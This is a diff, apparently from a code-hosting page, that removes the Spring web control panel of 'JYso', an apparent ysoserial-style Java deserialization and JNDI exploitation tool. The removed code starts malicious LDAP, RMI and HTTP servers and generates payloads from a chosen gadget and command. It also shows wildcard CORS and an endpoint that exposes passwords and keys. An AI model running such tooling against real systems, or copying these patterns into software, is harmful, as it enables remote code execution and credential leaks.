response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
|
||||
response.setContentType("application/json");
|
||||
response.getWriter().write("{\"error\":\"Invalid token\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
filterChain.doFilter(request, response);
|
||||
}
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
package com.qi4l.JYso.web.config;
|
||||
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.web.servlet.config.annotation.CorsRegistry;
|
||||
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
|
||||
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
|
||||
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
|
||||
|
||||
@Configuration
|
||||
public class WebConfig implements WebMvcConfigurer {
|
||||
|
||||
@Override
|
||||
public void addCorsMappings(CorsRegistry registry) {
|
||||
registry.addMapping("/api/**")
|
||||
.allowedOrigins("*")
|
||||
.allowedMethods("GET", "POST", "PUT", "DELETE")
|
||||
.allowedHeaders("*");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void addResourceHandlers(ResourceHandlerRegistry registry) {
|
||||
registry.addResourceHandler("/**")
|
||||
.addResourceLocations("classpath:/static/");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void addViewControllers(ViewControllerRegistry registry) {
|
||||
registry.addViewController("/").setViewName("forward:/index.html");
|
||||
registry.addViewController("/{path:[^\\.]*}").setViewName("forward:/index.html");
|
||||
}
|
||||
}
|
||||
@@ -1,237 +0,0 @@
|
||||
package com.qi4l.JYso.web.controller;
|
||||
|
||||
import com.qi4l.JYso.HTTPServer;
|
||||
import com.qi4l.JYso.LdapServer;
|
||||
import com.qi4l.JYso.LdapsServer;
|
||||
import com.qi4l.JYso.RMIServer;
|
||||
import com.qi4l.JYso.Starter;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.*;
|
||||
|
||||
@RestController
|
||||
@RequestMapping("/api")
|
||||
public class ApiController {
|
||||
|
||||
@GetMapping("/status")
|
||||
public Map<String, Object> getStatus() {
|
||||
Map<String, Object> status = new LinkedHashMap<>();
|
||||
status.put("ldapRunning", LdapServer.isRunning);
|
||||
status.put("ldapsRunning", LdapsServer.isRunning);
|
||||
status.put("httpRunning", HTTPServer.isRunning);
|
||||
status.put("rmiRunning", RMIServer.isRunning);
|
||||
status.put("ip", Config.ip);
|
||||
status.put("ldapPort", Config.ldapPort);
|
||||
status.put("ldapsPort", Config.ldapsPort);
|
||||
status.put("httpPort", Config.httpPort);
|
||||
status.put("rmiPort", Config.rmiPort);
|
||||
status.put("codeBase", Config.codeBase);
|
||||
status.put("AESkey", Config.AESkey);
|
||||
status.put("user", Config.USER);
|
||||
status.put("PASSWD", Config.PASSWD);
|
||||
status.put("TLSProxy", Config.TLSProxy);
|
||||
status.put("keyPass", Config.keyPass);
|
||||
status.put("certFile", Config.certFile);
|
||||
status.put("version", "1.3.8");
|
||||
return status;
|
||||
}
|
||||
|
||||
@PostMapping("/servers/start")
|
||||
public Map<String, Object> startServers(@RequestBody Map<String, Object> body) {
|
||||
Map<String, Object> result = new LinkedHashMap<>();
|
||||
List<String> started = new ArrayList<>();
|
||||
List<String> errors = new ArrayList<>();
|
||||
|
||||
boolean startLdap = body.get("ldap") != null && Boolean.TRUE.equals(body.get("ldap"));
|
||||
boolean startLdaps = body.get("ldaps") != null && Boolean.TRUE.equals(body.get("ldaps"));
|
||||
boolean startHttp = body.get("http") != null && Boolean.TRUE.equals(body.get("http"));
|
||||
boolean startRmi = body.get("rmi") != null && Boolean.TRUE.equals(body.get("rmi"));
|
||||
|
||||
if (body.containsKey("ip")) Config.ip = (String) body.get("ip");
|
||||
if (body.containsKey("ldapPort")) Config.ldapPort = (Integer) body.get("ldapPort");
|
||||
if (body.containsKey("ldapsPort")) Config.ldapsPort = (Integer) body.get("ldapsPort");
|
||||
if (body.containsKey("httpPort")) Config.httpPort = (Integer) body.get("httpPort");
|
||||
if (body.containsKey("rmiPort")) Config.rmiPort = (Integer) body.get("rmiPort");
|
||||
|
||||
if (startLdap && !LdapServer.isRunning) {
|
||||
new Thread(() -> {
|
||||
try { LdapServer.start(); } catch (Exception ignored) {}
|
||||
}, "ldap-starter").start();
|
||||
started.add("LDAP");
|
||||
}
|
||||
if (startHttp && !HTTPServer.isRunning) {
|
||||
new Thread(() -> {
|
||||
try { HTTPServer.start(); } catch (Exception ignored) {}
|
||||
}, "http-starter").start();
|
||||
started.add("HTTP");
|
||||
}
|
||||
if (startLdaps && !LdapsServer.isRunning) {
|
||||
new Thread(() -> {
|
||||
try { LdapsServer.start(); } catch (Exception ignored) {}
|
||||
}, "ldaps-starter").start();
|
||||
started.add("LDAPS");
|
||||
}
|
||||
if (startRmi && !RMIServer.isRunning) {
|
||||
new Thread(() -> {
|
||||
try { RMIServer.start(); } catch (Exception ignored) {}
|
||||
}, "rmi-starter").start();
|
||||
started.add("RMI");
|
||||
}
|
||||
|
||||
result.put("started", started);
|
||||
result.put("errors", errors);
|
||||
result.put("success", true);
|
||||
return result;
|
||||
}
|
||||
|
||||
@PostMapping("/servers/stop")
|
||||
public Map<String, Object> stopServer(@RequestBody Map<String, Object> body) {
|
||||
Map<String, Object> result = new LinkedHashMap<>();
|
||||
String server = (String) body.get("server");
|
||||
if (server == null) {
|
||||
result.put("success", false);
|
||||
result.put("error", "server name required");
|
||||
return result;
|
||||
}
|
||||
switch (server.toLowerCase()) {
|
||||
case "ldap":
|
||||
LdapServer.stop();
|
||||
break;
|
||||
case "ldaps":
|
||||
LdapsServer.stop();
|
||||
break;
|
||||
case "http":
|
||||
HTTPServer.stop();
|
||||
break;
|
||||
case "rmi":
|
||||
RMIServer.stop();
|
||||
break;
|
||||
default:
|
||||
result.put("success", false);
|
||||
result.put("error", "unknown server: " + server);
|
||||
return result;
|
||||
}
|
||||
result.put("success", true);
|
||||
result.put("server", server);
|
||||
result.put("status", getStatus());
|
||||
return result;
|
||||
}
|
||||
|
||||
@PostMapping("/servers/toggle")
|
||||
public Map<String, Object> toggleServer(@RequestBody Map<String, Object> body) {
|
||||
Map<String, Object> result = new LinkedHashMap<>();
|
||||
String server = (String) body.get("server");
|
||||
if (server == null) {
|
||||
result.put("success", false);
|
||||
result.put("error", "server name required");
|
||||
return result;
|
||||
}
|
||||
boolean nowRunning;
|
||||
switch (server.toLowerCase()) {
|
||||
case "ldap":
|
||||
if (LdapServer.isRunning) LdapServer.stop();
|
||||
else new Thread(() -> { try { LdapServer.start(); } catch (Exception ignored) {} }, "ldap-toggler").start();
|
||||
nowRunning = !LdapServer.isRunning;
|
||||
break;
|
||||
case "ldaps":
|
||||
if (LdapsServer.isRunning) LdapsServer.stop();
|
||||
else new Thread(() -> { try { LdapsServer.start(); } catch (Exception ignored) {} }, "ldaps-toggler").start();
|
||||
nowRunning = !LdapsServer.isRunning;
|
||||
break;
|
||||
case "http":
|
||||
if (HTTPServer.isRunning) HTTPServer.stop();
|
||||
else new Thread(() -> { try { HTTPServer.start(); } catch (Exception ignored) {} }, "http-toggler").start();
|
||||
nowRunning = !HTTPServer.isRunning;
|
||||
break;
|
||||
case "rmi":
|
||||
if (RMIServer.isRunning) RMIServer.stop();
|
||||
else new Thread(() -> { try { RMIServer.start(); } catch (Exception ignored) {} }, "rmi-toggler").start();
|
||||
nowRunning = !RMIServer.isRunning;
|
||||
break;
|
||||
default:
|
||||
result.put("success", false);
|
||||
result.put("error", "unknown server: " + server);
|
||||
return result;
|
||||
}
|
||||
try { Thread.sleep(800); } catch (InterruptedException e) { Thread.currentThread().interrupt(); }
|
||||
result.put("success", true);
|
||||
result.put("server", server);
|
||||
result.put("running", nowRunning);
|
||||
result.put("status", getStatus());
|
||||
return result;
|
||||
}
|
||||
|
||||
@GetMapping("/gadgets")
|
||||
public List<Map<String, Object>> listGadgets() {
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (String name : Starter.caseInsensitiveObjectPayloadMap.keySet()) {
|
||||
Map<String, Object> item = new LinkedHashMap<>();
|
||||
String shortName = name.substring(name.lastIndexOf('.') + 1);
|
||||
item.put("name", shortName);
|
||||
item.put("fullName", name);
|
||||
list.add(item);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
@PostMapping("/payload/generate")
|
||||
public Map<String, Object> generatePayload(@RequestBody Map<String, Object> body) {
|
||||
Map<String, Object> result = new LinkedHashMap<>();
|
||||
|
||||
String gadget = (String) body.get("gadget");
|
||||
String command = (String) body.get("command");
|
||||
|
||||
if (gadget == null || command == null) {
|
||||
result.put("success", false);
|
||||
result.put("error", "gadget and command are required");
|
||||
return result;
|
||||
}
|
||||
|
||||
try {
|
||||
Starter.JYsoMode = true;
|
||||
String[] args = new String[]{
|
||||
"-y",
|
||||
"-g", gadget,
|
||||
"-p", command
|
||||
};
|
||||
ysoserial.run(args);
|
||||
result.put("success", true);
|
||||
result.put("message", "Payload generated successfully");
|
||||
} catch (Exception e) {
|
||||
result.put("success", false);
|
||||
result.put("error", e.getMessage());
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
@PostMapping("/config/update")
|
||||
public Map<String, Object> updateConfig(@RequestBody Map<String, Object> body) {
|
||||
Map<String, Object> result = new LinkedHashMap<>();
|
||||
|
||||
if (body.containsKey("ip")) Config.ip = (String) body.get("ip");
|
||||
if (body.containsKey("ldapPort")) Config.ldapPort = (Integer) body.get("ldapPort");
|
||||
if (body.containsKey("ldapsPort")) Config.ldapsPort = (Integer) body.get("ldapsPort");
|
||||
if (body.containsKey("httpPort")) Config.httpPort = (Integer) body.get("httpPort");
|
||||
if (body.containsKey("rmiPort")) Config.rmiPort = (Integer) body.get("rmiPort");
|
||||
if (body.containsKey("codeBase")) Config.codeBase = (String) body.get("codeBase");
|
||||
if (body.containsKey("AESkey")) Config.AESkey = (String) body.get("AESkey");
|
||||
if (body.containsKey("user")) Config.USER = (String) body.get("user");
|
||||
if (body.containsKey("PASSWD")) Config.PASSWD = (String) body.get("PASSWD");
|
||||
if (body.containsKey("TLSProxy")) Config.TLSProxy = Boolean.TRUE.equals(body.get("TLSProxy"));
|
||||
if (body.containsKey("keyPass")) Config.keyPass = (String) body.get("keyPass");
|
||||
if (body.containsKey("certFile")) Config.certFile = (String) body.get("certFile");
|
||||
|
||||
result.put("success", true);
|
||||
result.put("config", getStatus());
|
||||
return result;
|
||||
}
|
||||
|
||||
@GetMapping("/config")
|
||||
public Map<String, Object> getConfig() {
|
||||
return getStatus();
|
||||
}
|
||||
}
|
||||
@@ -1,40 +0,0 @@
|
||||
package com.qi4l.JYso.web.controller;
|
||||
|
||||
import com.qi4l.JYso.web.config.JYsoWebPasswordProvider;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.UUID;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
|
||||
@RestController
|
||||
@RequestMapping("/api/auth")
|
||||
public class AuthController {
|
||||
|
||||
private static final ConcurrentHashMap<String, String> tokens = new ConcurrentHashMap<>();
|
||||
|
||||
@PostMapping("/login")
|
||||
public ResponseEntity<?> login(@RequestBody Map<String, String> body) {
|
||||
String username = body.get("username");
|
||||
String password = body.get("password");
|
||||
|
||||
if (!"qi".equals(username) || !JYsoWebPasswordProvider.getPassword().equals(password)) {
|
||||
Map<String, String> error = new HashMap<>();
|
||||
error.put("error", "Invalid credentials");
|
||||
return ResponseEntity.status(401).body(error);
|
||||
}
|
||||
|
||||
String token = UUID.randomUUID().toString();
|
||||
tokens.put(token, username);
|
||||
Map<String, String> result = new HashMap<>();
|
||||
result.put("token", token);
|
||||
result.put("username", username);
|
||||
return ResponseEntity.ok(result);
|
||||
}
|
||||
|
||||
public static boolean validateToken(String token) {
|
||||
return token != null && tokens.containsKey(token);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user